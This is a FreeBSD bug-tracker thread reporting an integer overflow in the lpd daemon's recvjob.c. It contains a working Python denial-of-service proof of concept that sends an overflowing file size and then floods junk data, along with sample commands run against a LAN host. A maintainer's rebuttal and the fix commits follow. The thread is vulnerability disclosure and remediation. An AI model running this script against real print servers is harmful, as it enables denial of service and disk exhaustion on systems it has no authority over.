Created attachment 268179 [details] CPU Usage after PoC poc777.py The Line Printer Daemon (LPD) implementation in FreeBSD, as seen in the recvjob.c source code, is vulnerable to a denial-of-service (DoS) attack via integer overflow during the parsing of file sizes in data transfer subcommands. This vulnerability allows an attacker to bypass disk space checks and force the LPD server to attempt processing an effectively unlimited amount of data, resulting in high CPU usage (up to 100%), potential disk space exhaustion, and eventual process termination due to write errors. The proof-of-concept (POC) script poc3.py demonstrates this by claiming a file size that triggers overflow, followed by sending continuous data resulting in high CPU usage (up to 100%). This issue stems from inadequate handling of large integers in the size parsing logic, combined with the protocol's lack of explicit upper bounds on file sizes (as defined in RFC 1179). The attack can be executed remotely over TCP port 515 (default LPD port) and requires no authentication beyond binding to a reserved local port (721-1023) (The domain of attakcer needs to be on /etc/hosts.lpd) . poc777.py: import socket import sys def flood_lpd(host, server_port=515, queue_name='lp', local_port=721, chunk_size=1024): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', local_port)) s.connect((host, server_port)) # Send command 02 s.sendall(b'\x02' + queue_name.encode('ascii') + b'\n') if s.recv(1) != b'\x00': sys.exit(1) # Send subcommand with size size = 2147483648 #integer overflow subcmd = b'\x03' + str(size).encode('ascii') + b' junkdata;id\n' s.sendall(subcmd) # Flood with junk junk = b'\x00' * chunk_size while True: s.sendall(junk) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: sudo python script.py <host> [local_port]") sys.exit(1) host = sys.argv[1] local_port = int(sys.argv[2]) if len(sys.argv) > 2 else 721 flood_lpd(host, local_port=local_port) running more than 3x is possible get the 100% CPU usage sudo python3 poc777.py 192.168.202.136 805 sudo python3 poc777.py 192.168.202.136 905 sudo python3 poc777.py 192.168.202.136 810 sudo python3 poc777.py 192.168.202.136 723 1 - Where does the overflow happen? (In the parsing of the size) https://github.com/freebsd/freebsd-src/blob/main/usr.sbin/lpr/lpd/recvjob.c /usr.sbin/lpr/lpd/recvjob.c In the readjob() code (function that reads commands from the client): size = 0; while (*cp >= '0' && *cp <= '9') size = size * 10 + (*cp++ - '0'); size is declared as int (in FreeBSD 64-bit, int is 32-bit, with limit INT_MAX = 2147483647). In the POC, you send \x032147483648 junkdata;id\n (size = 2147483648, which is 2^31). During the parsing loop: Starts with size=0. Multiplies by 10 and adds digit by digit: when it reaches "21474836", it has already exceeded 2147483647 (INT_MAX). Simple example: "214748364" is already 214748364 (ok), but "2147483648" does *10 +8, which overflows. Result: signed overflow → size becomes negative (typically -2147483648, which is INT_MIN). Why doesn't it crash here? Overflow in int is not automatically checked in C (unlike languages like Java). It's undefined behavior, but in practice, the CPU just wraps around and continues running. int x = 2147483647; x = x * 10 + 8;, it doesn't crash, it just becomes negative or garbage. 2 - Bypass of the disk check (chksize) After parsing, it calls if (!chksize(size)) { ... reject }. In chksize(int _size): size = (_size + 511) / 512; // converts bytes to 512 blocks if (minfree + size > spacefree) return(0); // not ok, lacks space -> With _size negative (-2147483648), (_size + 511) / 512 becomes a huge negative number (like -4194304 blocks). minfree + size (size negative) becomes less than minfree, so almost always minfree + size <= spacefree (available space), returning 1 (OK). Key vulnerability here: The function assumes size is positive, but with negative overflow, it bypasses the resource check. Result: Server accepts the "giant file" (ACK with \x00), even without real space for 2GB+. 3 - The infinite loop that consumes CPU (readfile) Now it goes to readfile(..., size_t _size), where _size = (size_t)size. size is negative int → cast to size_t (unsigned, 64-bit in FreeBSD) becomes a HUGE positive number (like 18446744071562067968, which is 2^64 - 2^31). The main loop: for (i = 0; i < size; i += SPL_BUFSIZ) { // SPL_BUFSIZ = BUFSIZ (typically 8192) // reads chunk from socket do { j = read(STDOUT_FILENO, cp, amt); // ... checks errors } while (amt > 0); // writes chunk to spool file if (write(fd, buf, amt) != (ssize_t)amt) { err++; break; } } With huge size (almost infinite), the loop runs "forever" (until i overflows or something goes wrong). Each iteration: read() from socket (POC sends infinite junk, so it doesn't block). Copies data in memory (buf). write() to file (goes to kernel cache, but syscall overhead). Syscalls (read/write) + memory copies in small chunks (8192 bytes) create a tight loop that uses full CPU. I would like request a CVE for this overflow. Credits: Author: Igor Gabriel Sousa e Souza Email: igor@bsdtrust.com LinkedIn: https://www.linkedin.com/in/igo0r
Created attachment 268180 [details] poc3.py
Created attachment 268181 [details] poc777.py
YouTube private link PoC: - https://youtu.be/iujuAthUV0M Thanks!
Once again, you cannot “request a CVE”. That's simply not how these things work.
1) To carry out a successful attack, one must be an authorized user. The authentication system is weak, but that is a known feature of lpd. 2) The CPU usage is irrelevant: - The attacker must expend approximately the same amount of effort as the target. - Even without the integer overflow, an attacker can drive up CPU usage by sending a size of INT_MAX, then sending only INT_MAX - 1 bytes of content before disconnecting, then starting over. - In fact, this is indistinguishable from legitimate use of the print server. CPU usage will spike while a job is being transferred. Such is the nature of computers. Weak authentication and the lack of print quotas and rate limiting are known features of lpd; replacements which provide better administrative controls are readily available. 3) As a side note, if the target is a 32-bit system, an attacker may be able to get readfile() to loop forever (or rather, until the disk fills up or the attacker grows tired). This is because if size > SIZE_MAX - SPL_BUFSIZ we eventually get to a point where i + amt rolls around without ever being > size. Again, this requires the attacker to expend approximately the same amount of effort as the target, so it's not particularly cost-effective. 4) “Process termination due to write errors” is a red herring; lpd forks a separate child process for each attacker, and process termination is the correct way to handle errors in this model. Note that the code never exits directly, but calls frecverr(), which calls rcleanup(), which removes temporary files, undoing any damage the attacker did. 5) The only remaining issue is the minfree bypass: - An authorized user will be able to submit a malicious print job that fills up the spool even in the presence of a valid minfree file. - As soon as lpd fails to write to the spool (because it is full) or the attacker disconnects, the print job is aborted and the file is deleted, so for the attack to have any lasting effect, the attacker must carefully avoid actually filling up the spool, and remain connected indefinitely. - Even without the minfree bypass, an attacker can fill up the disk by submitting multiple jobs simultaneously. Each one passes the minfree check before any of them starts writing anything to disk; then they all start transmitting, and the spool eventually fills up. - This can be mitigated by common-sense system administration practices such as a) using file system quotas to prevent the spool from filling up the disk it's on, b) using resource limits to set an upper limit on the size of each individual print job, c) moving the spool to a dedicated file system. https://reviews.freebsd.org/D55399
Hello, what is the CVE ID?
No CVE has been assigned, and although the final decision does not rest with me, I doubt one will be This is currently being treated as a bug, not a vulnerability.
A commit in branch main references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=9065be0a5902e058d25a42bd9b3fbe9dc28b189d commit 9065be0a5902e058d25a42bd9b3fbe9dc28b189d Author: Dag-Erling Smørgrav <des@FreeBSD.org> AuthorDate: 2026-02-26 06:15:06 +0000 Commit: Dag-Erling Smørgrav <des@FreeBSD.org> CommitDate: 2026-02-26 06:15:06 +0000 lpd: Improve robustness * Check for integer overflow when receiving file sizes. * Check for buffer overflow when receiving file names, and fully validate the names. * Check for integer overflow when checking for available disk space. * Check for I/O errors when sending status codes. * Enforce one job per connection and one control file per job (see code comments for additional details). * Simplify readfile(), avoiding constructs vulnerable to integer overflow. * Don't delete files we didn't create. * Rename read_number() to read_minfree() since that's all it's used for, and move all the minfree logic into it. * Fix a few style issues. PR: 293278 MFC after: 1 week Reviewed by: markj Differential Revision: https://reviews.freebsd.org/D55399 usr.sbin/lpr/lpd/recvjob.c | 291 +++++++++++++++++++++++++++++---------------- 1 file changed, 189 insertions(+), 102 deletions(-)
A commit in branch stable/15 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=cc545907674fddcbd2328a9d91747f2b67ac641c commit cc545907674fddcbd2328a9d91747f2b67ac641c Author: Dag-Erling Smørgrav <des@FreeBSD.org> AuthorDate: 2026-02-26 06:15:06 +0000 Commit: Dag-Erling Smørgrav <des@FreeBSD.org> CommitDate: 2026-03-04 14:45:00 +0000 lpd: Improve robustness * Check for integer overflow when receiving file sizes. * Check for buffer overflow when receiving file names, and fully validate the names. * Check for integer overflow when checking for available disk space. * Check for I/O errors when sending status codes. * Enforce one job per connection and one control file per job (see code comments for additional details). * Simplify readfile(), avoiding constructs vulnerable to integer overflow. * Don't delete files we didn't create. * Rename read_number() to read_minfree() since that's all it's used for, and move all the minfree logic into it. * Fix a few style issues. PR: 293278 MFC after: 1 week Reviewed by: markj Differential Revision: https://reviews.freebsd.org/D55399 (cherry picked from commit 9065be0a5902e058d25a42bd9b3fbe9dc28b189d) usr.sbin/lpr/lpd/recvjob.c | 291 +++++++++++++++++++++++++++++---------------- 1 file changed, 189 insertions(+), 102 deletions(-)
A commit in branch stable/14 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=60f5fc36e46a6381e8ddc6d28ee792a6ec5089fc commit 60f5fc36e46a6381e8ddc6d28ee792a6ec5089fc Author: Dag-Erling Smørgrav <des@FreeBSD.org> AuthorDate: 2026-02-26 06:15:06 +0000 Commit: Dag-Erling Smørgrav <des@FreeBSD.org> CommitDate: 2026-03-04 14:45:09 +0000 lpd: Improve robustness * Check for integer overflow when receiving file sizes. * Check for buffer overflow when receiving file names, and fully validate the names. * Check for integer overflow when checking for available disk space. * Check for I/O errors when sending status codes. * Enforce one job per connection and one control file per job (see code comments for additional details). * Simplify readfile(), avoiding constructs vulnerable to integer overflow. * Don't delete files we didn't create. * Rename read_number() to read_minfree() since that's all it's used for, and move all the minfree logic into it. * Fix a few style issues. PR: 293278 MFC after: 1 week Reviewed by: markj Differential Revision: https://reviews.freebsd.org/D55399 (cherry picked from commit 9065be0a5902e058d25a42bd9b3fbe9dc28b189d) usr.sbin/lpr/lpd/recvjob.c | 291 +++++++++++++++++++++++++++++---------------- 1 file changed, 189 insertions(+), 102 deletions(-)
A commit in branch stable/13 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=88dc56a6edbc23d8912bff3e1e7ec2633d92bf70 commit 88dc56a6edbc23d8912bff3e1e7ec2633d92bf70 Author: Dag-Erling Smørgrav <des@FreeBSD.org> AuthorDate: 2026-02-26 06:15:06 +0000 Commit: Dag-Erling Smørgrav <des@FreeBSD.org> CommitDate: 2026-03-04 14:46:05 +0000 lpd: Improve robustness * Check for integer overflow when receiving file sizes. * Check for buffer overflow when receiving file names, and fully validate the names. * Check for integer overflow when checking for available disk space. * Check for I/O errors when sending status codes. * Enforce one job per connection and one control file per job (see code comments for additional details). * Simplify readfile(), avoiding constructs vulnerable to integer overflow. * Don't delete files we didn't create. * Rename read_number() to read_minfree() since that's all it's used for, and move all the minfree logic into it. * Fix a few style issues. PR: 293278 MFC after: 1 week Reviewed by: markj Differential Revision: https://reviews.freebsd.org/D55399 (cherry picked from commit 9065be0a5902e058d25a42bd9b3fbe9dc28b189d) usr.sbin/lpr/lpd/recvjob.c | 291 +++++++++++++++++++++++++++++---------------- 1 file changed, 189 insertions(+), 102 deletions(-)